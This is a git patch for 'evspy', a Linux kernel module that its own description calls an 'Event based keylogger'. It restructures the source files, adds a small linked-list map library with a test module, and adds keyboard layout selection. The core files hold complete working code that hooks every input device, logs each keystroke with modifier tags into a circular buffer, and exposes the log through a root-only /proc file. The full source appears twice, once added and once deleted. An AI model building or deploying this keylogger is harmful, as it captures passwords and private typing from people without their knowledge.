From 5f78bdac09842192ad1cae0f0e516e9020619ac7 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Fri, 16 Sep 2011 17:25:25 +0200 Subject: First functional version of khaskmap --- Makefile | 3 + evspy-core.c | 276 ++++++++++++++++++++++++++++++++++++++++++++++ evspy-core.h | 77 +++++++++++++ evspy.c | 279 ----------------------------------------------- evspy.h | 76 ------------- khashmap/khashmap.c | 137 +++++++++++++++++++++++ khashmap/khashmap.h | 20 ++++ khashmap/test_khashmap.c | 61 +++++++++++ maps.h | 17 ++- 9 files changed, 590 insertions(+), 356 deletions(-) create mode 100644 evspy-core.c create mode 100644 evspy-core.h delete mode 100644 evspy.c delete mode 100644 evspy.h create mode 100644 khashmap/khashmap.c create mode 100644 khashmap/khashmap.h create mode 100644 khashmap/test_khashmap.c diff --git a/Makefile b/Makefile index 7e403d9..dc851d1 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,7 @@ obj-m += evspy.o +evspy-objs := khashmap/khashmap.o evspy-core.o +#obj-m += test.o +#test-objs := khashmap.o test_khashmap.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules diff --git a/evspy-core.c b/evspy-core.c new file mode 100644 index 0000000..0171b5b --- /dev/null +++ b/evspy-core.c @@ -0,0 +1,276 @@ +/* + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * based on evbug module by Vojtech Pavlik ((c) 1999-2001) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Should you need to contact me, the author, you can mail your message to + * <0xwille@gmail.com> + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "evspy-core.h" +#include "khashmap/khashmap.h" + + +static char *buffer; // circular buffer +static char *rdp; // read pointer +static char *wrp; // write pointer +static char *map = EVS_MAP; // current keyboard layout +static unsigned short int capslock_state = EVS_VAL_FREE; +static unsigned short int shift = 0; + +// This is how special keys will be displayed (+: pressed / -: freed) +static char sp_tag[] = "<+XXX>"; + +/* + * Executed when the procfs file is read (EVS_PROCNAME) + */ +static int evspy_read_proc(char *page, char **start, off_t offset, int count, + int *eof, void *data) +{ + int n, toend; + int retval = 0; + int diff = wrp - rdp; + + // root only plz + if (current_uid() || current_euid()) { +#if EVS_TROLL == 1 + n = MIN(36, count); + strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); + *eof = 1; + return n; +#else + return -EPERM; +#endif + } + + // wrp > rdp: read from rdp to wrp + if (diff > 0) { + n = MIN(diff, count); + strncpy(page, rdp, n); + rdp += n; + retval = n; + + // rdp > wrp: read from rdp to end of buffer and then from the beginning of + // the buffer to wrp + } else if (diff < 0) { + toend = (buffer + EVS_BUFSIZE) - rdp; + n = MIN(toend, count); + strncpy(page, rdp, n); + retval = n; + + if (n < toend) { + rdp += n; + } else { + n = MIN(wrp - buffer, count - retval); + strncpy(page + retval, buffer, n); + retval += n; + rdp = buffer + n; + } + } + + // wrp == rdp: buffer is empty + if (rdp == wrp) + *eof = 1; + return retval; +} + +/* + * Handle unknown/special key events + */ +static void special_char(unsigned int code, unsigned int value) +{ + int i; + int known = 1; + + // We need to know when some special keys are freed; add them here + switch(code) { + case KEY_LEFTSHIFT: + case KEY_RIGHTSHIFT: + case KEY_LEFTALT: + case KEY_RIGHTALT: + case KEY_LEFTCTRL: + case KEY_RIGHTCTRL: + break; + default: + if (value == EVS_VAL_FREE) + return; + } + + switch(code) { + case KEY_RIGHTSHIFT: + case KEY_LEFTSHIFT: + shift = !shift; + return; + case KEY_LEFTALT: + strncpy(sp_tag+2, "ALT", 3); + break; + case KEY_RIGHTALT: + strncpy(sp_tag+2, "AGR", 3); + break; + case KEY_LEFTCTRL: + case KEY_RIGHTCTRL: + strncpy(sp_tag+2, "CTR", 3); + break; + case KEY_TAB: + strncpy(sp_tag+2, "TAB", 3); + break; + case KEY_ESC: + strncpy(sp_tag+2, "ESC", 3); + break; + case KEY_UP: + strncpy(sp_tag+2, " ^ ", 3); + break; + case KEY_DOWN: + strncpy(sp_tag+2, " v ", 3); + break; + case KEY_LEFT: + strncpy(sp_tag+2, " < ", 3); + break; + case KEY_RIGHT: + strncpy(sp_tag+2, " > ", 3); + break; + default: + known = 0; + } + + if (!known && evs_isfX(code)) + strncpy(sp_tag+2, "F??", 3); + else if (!known) + return; + + if (value == EVS_VAL_PRESS) + sp_tag[1] = '+'; + else if (value == EVS_VAL_FREE) + sp_tag[1] = '-'; + + for (i = 0; i < sizeof(sp_tag) - 1; i++) + evs_insert(sp_tag[i]); +} + +static void evspy_event(struct input_handle *handle, unsigned int type, + unsigned int code, int value) +{ + // Ignore hold-key events + if (unlikely(value == EVS_VAL_HOLD)) + return; + + // If caps lock is pressed, handle it the same way as left shift + if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) { + special_char(KEY_LEFTSHIFT, capslock_state); + return; + } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) { + return; + } + + // Special/unknown keys (alt, ctrl, esc, shift, etc) + if (map[code] == '.' && likely(code != KEY_DOT)) { + special_char(code, value); + + // "Direct" keys (alphanumeric + some symbols) + } else if (value == EVS_VAL_PRESS) { + if (shift) + evs_insert(evs_shift(map[code])); + else + evs_insert(map[code]); + } +} + +static int evspy_connect(struct input_handler *handler, struct input_dev *dev, + const struct input_device_id *id) +{ + struct input_handle *handle; + int error; + + handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); + if (!handle) + return -ENOMEM; + + handle->dev = dev; + handle->handler = handler; + handle->name = EVS_NAME; + + error = input_register_handle(handle); + if (error) + goto err_free_handle; + + error = input_open_device(handle); + if (error) + goto err_unregister_handle; + + return 0; + + err_unregister_handle: + input_unregister_handle(handle); + err_free_handle: + kfree(handle); + return error; +} + +static void evspy_disconnect(struct input_handle *handle) +{ + input_close_device(handle); + input_unregister_handle(handle); + kfree(handle); +} + +static const struct input_device_id evspy_ids[] = { + { .driver_info = 1 }, /* Matches all devices */ + { }, /* Terminating zero entry */ +}; + +MODULE_DEVICE_TABLE(input, evspy_ids); + +static struct input_handler evspy_handler = { + .event = evspy_event, + .connect = evspy_connect, + .disconnect = evspy_disconnect, + .name = EVS_NAME, + .id_table = evspy_ids, +}; + +static int __init evspy_init(void) +{ + create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL); + + buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); + rdp = wrp = buffer; + + return !buffer || input_register_handler(&evspy_handler); +} + +static void __exit evspy_exit(void) +{ + kfree(buffer); + remove_proc_entry(EVS_PROCNAME, NULL); + input_unregister_handler(&evspy_handler); +} + +module_init(evspy_init); +module_exit(evspy_exit); + +MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); +MODULE_DESCRIPTION("Event based keylogger"); +MODULE_LICENSE("GPL"); +MODULE_VERSION("0.1"); diff --git a/evspy-core.h b/evspy-core.h new file mode 100644 index 0000000..2af9dfe --- /dev/null +++ b/evspy-core.h @@ -0,0 +1,77 @@ +#include +#include +#include "maps.h" + +#define EVS_NAME "evspy" // driver name +#define EVS_MAP map_es // change this to your keyboard layout +#define EVS_KLAY EVS_KLAY_ES // change default layout to spanish +#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) +#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc + +#define MIN(x, y) (x) < (y) ? (x) : (y) + +/* + * If pointer is at the end of buffer, put it at the beginning. + * If not, simply add 1 to it. + */ +#define evs_incp(p) \ +({ \ + if ((p) == &buffer[EVS_BUFSIZE-1]) \ + (p) = buffer; \ + else \ + (p)++; \ + (p); \ +}) + +/* + * Same as evs_incp but backwards + */ +#define evs_decp(p) \ +({ \ + if ((p) == buffer) \ + (p) = &buffer[EVS_BUFSIZE-1]; \ + else \ + (p)--; \ + (p); \ +}) + +/* + * Insert character c where wrp is pointing and move it to the next char. + * If rdp == wrp, increase rdp too. + */ +#define evs_insert(c) \ +({ \ + *wrp = (c); \ + if (evs_incp(wrp) == rdp) \ + evs_incp(rdp); \ +}) + +/* + * Remove a character from the buffer + */ +#define evs_delete() \ +({ \ + if (wrp != rdp && evs_decp(wrp) == rdp) \ + evs_decp(rdp); \ +}) + +/* + * Is the c event code associated to any of the FX buttons? + */ +#define evs_isfX(c) \ +({ \ + ((c) >= KEY_F1 && (c) <= KEY_F10) || \ + ((c) == KEY_F11 || (c) == KEY_F12) || \ + ((c) >= KEY_F13 && (c) <= KEY_F24); \ +}) + +#define evs_shift(c) \ +({ \ + ((c) >= 'a' && (c) <= 'z') ? (c) + ('A'-'a') : (c); \ +}) + +// Event values +#define EVS_VAL_FREE 0 +#define EVS_VAL_PRESS 1 +#define EVS_VAL_HOLD 2 diff --git a/evspy.c b/evspy.c deleted file mode 100644 index 4d6e763..0000000 --- a/evspy.c +++ /dev/null @@ -1,279 +0,0 @@ -/* - * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> - * based on evbug module by Vojtech Pavlik ((c) 1999-2001) - */ - -/* - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - * - * Should you need to contact me, the author, you can mail your message to - * <0xwille@gmail.com> - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "evspy.h" - - -static char *buffer; // circular buffer -static char *rdp; // read pointer -static char *wrp; // write pointer -static char *map = EVS_MAP; // current keyboard layout -static unsigned short int capslock_state = EVS_VAL_FREE; -static unsigned short int shift = 0; - -// This is how special keys will be displayed (+: pressed / -: freed) -static char sp_tag[] = "<+XXX>"; - -/* - * Executed when the procfs file is read (EVS_PROCNAME) - */ -int evspy_read_proc(char *page, char **start, off_t offset, int count, - int *eof, void *data) -{ - int n, toend; - int retval = 0; - int diff = wrp - rdp; - - // root only plz - if (current_uid() || current_euid()) { -#if EVS_TROLL == 1 - n = MIN(36, count); - strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); - *eof = 1; - return n; -#else - return -EPERM; -#endif - } - - // wrp > rdp: read from rdp to wrp - if (diff > 0) { - n = MIN(diff, count); - strncpy(page, rdp, n); - rdp += n; - retval = n; - - // rdp > wrp: read from rdp to end of buffer and then from the beginning of - // the buffer to wrp - } else if (diff < 0) { - toend = (buffer + EVS_BUFSIZE) - rdp; - n = MIN(toend, count); - strncpy(page, rdp, n); - retval = n; - - if (n < toend) { - rdp += n; - } else { - n = MIN(wrp - buffer, count - retval); - strncpy(page + retval, buffer, n); - retval += n; - rdp = buffer + n; - } - } - - // wrp == rdp: buffer is empty - if (rdp == wrp) - *eof = 1; - return retval; -} - -/* - * Handle unknown/special key events - */ -static void special_char(unsigned int code, unsigned int value) -{ - int i; - int known = 1; - - // We need to know when some special keys are freed; add them here - switch(code) { - case KEY_LEFTSHIFT: - case KEY_RIGHTSHIFT: - case KEY_LEFTALT: - case KEY_RIGHTALT: - case KEY_LEFTCTRL: - case KEY_RIGHTCTRL: - break; - default: - if (value == EVS_VAL_FREE) - return; - } - - switch(code) { - case KEY_RIGHTSHIFT: - case KEY_LEFTSHIFT: - shift = !shift; - return; -// strncpy(sp_tag+2, "SFT", 3); -// break; - case KEY_LEFTALT: - strncpy(sp_tag+2, "ALT", 3); - break; - case KEY_RIGHTALT: - strncpy(sp_tag+2, "AGR", 3); - break; - case KEY_LEFTCTRL: - case KEY_RIGHTCTRL: - strncpy(sp_tag+2, "CTR", 3); - break; - case KEY_TAB: - strncpy(sp_tag+2, "TAB", 3); - break; - case KEY_ESC: - strncpy(sp_tag+2, "ESC", 3); - break; - case KEY_UP: - strncpy(sp_tag+2, " ^ ", 3); - break; - case KEY_DOWN: - strncpy(sp_tag+2, " v ", 3); - break; - case KEY_LEFT: - strncpy(sp_tag+2, " < ", 3); - break; - case KEY_RIGHT: - strncpy(sp_tag+2, " > ", 3); - break; - default: - known = 0; - } - - if (!known && evs_isfX(code)) - strncpy(sp_tag+2, "F??", 3); - else if (!known) - return; - - if (value == EVS_VAL_PRESS) - sp_tag[1] = '+'; - else if (value == EVS_VAL_FREE) - sp_tag[1] = '-'; - - for (i = 0; i < sizeof(sp_tag) - 1; i++) - evs_insert(sp_tag[i]); -} - -static void evspy_event(struct input_handle *handle, unsigned int type, - unsigned int code, int value) -{ - // Ignore hold-key events - if (unlikely(value == EVS_VAL_HOLD)) - return; - - // If caps lock is pressed, handle it the same way as left shift - if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) { -// capslock_state = !capslock_state; - special_char(KEY_LEFTSHIFT, capslock_state); - return; - } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) { - return; - } - - // Special/unknown keys (alt, ctrl, esc, shift, etc) - if (map[code] == '.' && likely(code != KEY_DOT)) { - special_char(code, value); - - // "Direct" keys (alphanumeric + some symbols) - } else if (value == EVS_VAL_PRESS) { - if (shift) - evs_insert(evs_shift(map[code])); - else - evs_insert(map[code]); - } -} - -static int evspy_connect(struct input_handler *handler, struct input_dev *dev, - const struct input_device_id *id) -{ - struct input_handle *handle; - int error; - - handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); - if (!handle) - return -ENOMEM; - - handle->dev = dev; - handle->handler = handler; - handle->name = EVS_NAME; - - error = input_register_handle(handle); - if (error) - goto err_free_handle; - - error = input_open_device(handle); - if (error) - goto err_unregister_handle; - - return 0; - - err_unregister_handle: - input_unregister_handle(handle); - err_free_handle: - kfree(handle); - return error; -} - -static void evspy_disconnect(struct input_handle *handle) -{ - input_close_device(handle); - input_unregister_handle(handle); - kfree(handle); -} - -static const struct input_device_id evspy_ids[] = { - { .driver_info = 1 }, /* Matches all devices */ - { }, /* Terminating zero entry */ -}; - -MODULE_DEVICE_TABLE(input, evspy_ids); - -static struct input_handler evspy_handler = { - .event = evspy_event, - .connect = evspy_connect, - .disconnect = evspy_disconnect, - .name = EVS_NAME, - .id_table = evspy_ids, -}; - -static int __init evspy_init(void) -{ - create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL); - buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); - rdp = buffer; - wrp = buffer; - return !buffer || input_register_handler(&evspy_handler); -} - -static void __exit evspy_exit(void) -{ - kfree(buffer); - remove_proc_entry(EVS_PROCNAME, NULL); - input_unregister_handler(&evspy_handler); -} - -module_init(evspy_init); -module_exit(evspy_exit); - -MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); -MODULE_DESCRIPTION("Event based keylogger"); -MODULE_LICENSE("GPL"); -MODULE_VERSION("0.1"); diff --git a/evspy.h b/evspy.h deleted file mode 100644 index cfee360..0000000 --- a/evspy.h +++ /dev/null @@ -1,76 +0,0 @@ -#include -#include -#include "maps.h" - -#define EVS_NAME "evspy" // driver name -#define EVS_MAP map_es // change this to your keyboard layout -#define EVS_TROLL 1 // clear this if you're a serious guy -#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) -#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc - -#define MIN(x, y) (x) < (y) ? (x) : (y) - -/* - * If pointer is at the end of buffer, put it at the beginning. - * If not, simply add 1 to it. - */ -#define evs_incp(p) \ -({ \ - if ((p) == &buffer[EVS_BUFSIZE-1]) \ - (p) = buffer; \ - else \ - (p)++; \ - (p); \ -}) - -/* - * Same as evs_incp but backwards - */ -#define evs_decp(p) \ -({ \ - if ((p) == buffer) \ - (p) = &buffer[EVS_BUFSIZE-1]; \ - else \ - (p)--; \ - (p); \ -}) - -/* - * Insert character c where wrp is pointing and move it to the next char. - * If rdp == wrp, increase rdp too. - */ -#define evs_insert(c) \ -({ \ - *wrp = (c); \ - if (evs_incp(wrp) == rdp) \ - evs_incp(rdp); \ -}) - -/* - * Remove a character from the buffer - */ -#define evs_delete() \ -({ \ - if (wrp != rdp && evs_decp(wrp) == rdp) \ - evs_decp(rdp); \ -}) - -/* - * Is the c event code associated to any of the FX buttons? - */ -#define evs_isfX(c) \ -({ \ - ((c) >= KEY_F1 && (c) <= KEY_F10) || \ - ((c) == KEY_F11 || (c) == KEY_F12) || \ - ((c) >= KEY_F13 && (c) <= KEY_F24); \ -}) - -#define evs_shift(c) \ -({ \ - ((c) >= 'a' && (c) <= 'z') ? (c) + ('A'-'a') : (c); \ -}) - -// Event values -#define EVS_VAL_FREE 0 -#define EVS_VAL_PRESS 1 -#define EVS_VAL_HOLD 2 diff --git a/khashmap/khashmap.c b/khashmap/khashmap.c new file mode 100644 index 0000000..0a1360d --- /dev/null +++ b/khashmap/khashmap.c @@ -0,0 +1,137 @@ +/* + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Should you need to contact me, the author, you can mail your message to + * <0xwille@gmail.com> + */ + +#include +#include +#include +#include "khashmap.h" + +static inline struct khashmap *khm_search(struct khashmap *head, int value) +{ + struct list_head *list; + struct khashmap *node; + + list_for_each(list, &head->l) { + node = list_entry(list, struct khashmap, l); + if (node->value == value) + return node; + } + + return NULL; +} + +void khm_display(struct khashmap *head) +{ + struct khashmap *node; + struct list_head *list; + int i = 0; + int limit = 10; + + printk(KERN_ALERT "Displaying..."); + list_for_each(list, &head->l) { + node = list_entry(list, struct khashmap, l); + printk(KERN_ALERT " N%d (%p) v=%d d=%s\n", i++, node, + node->value, (char*)node->data); + if (i >= limit) + break; + } +} + +struct khashmap *khm_create(void) +{ + struct khashmap *head; + + head = kmalloc(sizeof(struct khashmap), GFP_KERNEL); + if (!head) + return NULL; + + INIT_LIST_HEAD(&head->l); + head->value = 0; + head->data = NULL; + + return head; +} + +void khm_destroy(struct khashmap *head) +{ + struct khashmap *node; + struct list_head *list = head->l.next; + + while (list != &head->l) { + node = list_entry(list, struct khashmap, l); + list = list->next; + kfree(node); + } + + kfree(head); +} + +int khm_insert(struct khashmap *head, int value, void *data) +{ + struct khashmap *new; + + // Key already exists + if (khm_search(head, value)) + return -EINVAL; + + new = khm_create(); + if (!new) + return -ENOMEM; + + new->value = value; + new->data = data; + + INIT_LIST_HEAD(&new->l); + list_add_tail(&new->l, &head->l); + + return 0; +} + +int khm_delete(struct khashmap *head, int value) +{ + struct khashmap *node = khm_search(head, value); + + if (node) { + list_del(&node->l); + kfree(node); + return 0; + } else { + return -EINVAL; + } +} + +void *khm_get(struct khashmap *head, int value) +{ + struct khashmap *node = khm_search(head, value); + + if (node) + return node->data; + else + return NULL; +} + +void khm_set(struct khashmap *head, int value, void *data) +{ + struct khashmap *node = khm_search(head, value); + + if (node) + node->data = data; +} diff --git a/khashmap/khashmap.h b/khashmap/khashmap.h new file mode 100644 index 0000000..b5ee506 --- /dev/null +++ b/khashmap/khashmap.h @@ -0,0 +1,20 @@ +#include + +#ifndef HASHMAP +#define HASHMAP + +struct khashmap { + struct list_head l; + int value; + void *data; +}; + +struct khashmap *khm_create(void); +void khm_destroy(struct khashmap *head); +int khm_insert(struct khashmap *head, int value, void *data); +int khm_delete(struct khashmap *head, int value); +void *khm_get(struct khashmap *head, int value); +void khm_set(struct khashmap *head, int value, void *data); +void khm_display(struct khashmap *head); + +#endif diff --git a/khashmap/test_khashmap.c b/khashmap/test_khashmap.c new file mode 100644 index 0000000..16a351f --- /dev/null +++ b/khashmap/test_khashmap.c @@ -0,0 +1,61 @@ +#include +#include +#include "khashmap.h" + +#define Z_ASD 1 +#define Z_QWE 2 +#define Z_BLR 3 + +static struct khashmap *hm; + +static int __init test_init(void) +{ + char *values; + + hm = khm_create(); + + if (khm_insert(hm, Z_ASD, "ASDF")) + goto insert_err; + if (khm_insert(hm, Z_QWE, "QWERTY")) + goto insert_err; + if (khm_insert(hm, Z_BLR, "BLRBLRBLR")) + goto insert_err; + + khm_display(hm); + khm_delete(hm, Z_QWE); + khm_display(hm); + khm_set(hm, Z_ASD, "ASDF NEW!!"); + khm_display(hm); + + if ((values = (char*)khm_get(hm, Z_ASD))) + printk(KERN_ALERT "Z_ASD: %s\n", values); + else + printk(KERN_ALERT "Z_ASD does not exist\n"); + if ((values = (char*)khm_get(hm, Z_QWE))) + printk(KERN_ALERT "Z_QWE: %s\n", values); + else + printk(KERN_ALERT "Z_QWE does not exist\n"); + if ((values = (char*)khm_get(hm, Z_BLR))) + printk(KERN_ALERT "Z_BLR: %s\n", values); + else + printk(KERN_ALERT "Z_BLR does not exist\n"); + + if (khm_insert(hm, Z_ASD, "MALO!!")) + goto insert_err; + + return 0; + +insert_err: + printk(KERN_ALERT "Error inserting!\n"); + return 0; +} + +static void __exit test_exit(void) +{ + khm_destroy(hm); +} + +module_init(test_init); +module_exit(test_exit); + +MODULE_LICENSE("GPL"); diff --git a/maps.h b/maps.h index 91531aa..8bac175 100644 --- a/maps.h +++ b/maps.h @@ -7,9 +7,21 @@ * * By the moment, evspy does not support non-ascii characters. * - * Select your map with EVS_MAP macro in evspy.h + * Select your map with EVS_MAP macro in evspy-core.h */ +#ifndef __MAPS +#define __MAPS + +#define EVS_KLAY_EN 0 // English standard layout +#define EVS_KLAY_ES 1 // Spanish standard layout + +#ifndef EVS_KLAY +#define EVS_KLAY EVS_KLAY_EN // In case it is not defined in evspy-core.h +#endif // EVS_KEYBOARD + +#if EVS_KLAY == EVS_KLAY_ES + // Spanish static char map_es[] = { '.', '.', '1', '2', '3', //0 // 1:ESC @@ -35,3 +47,6 @@ static char map_es[] = { '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow '.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow }; + +#endif // EVS_KLAY == es +#endif // __MAPS -- cgit v1.2.3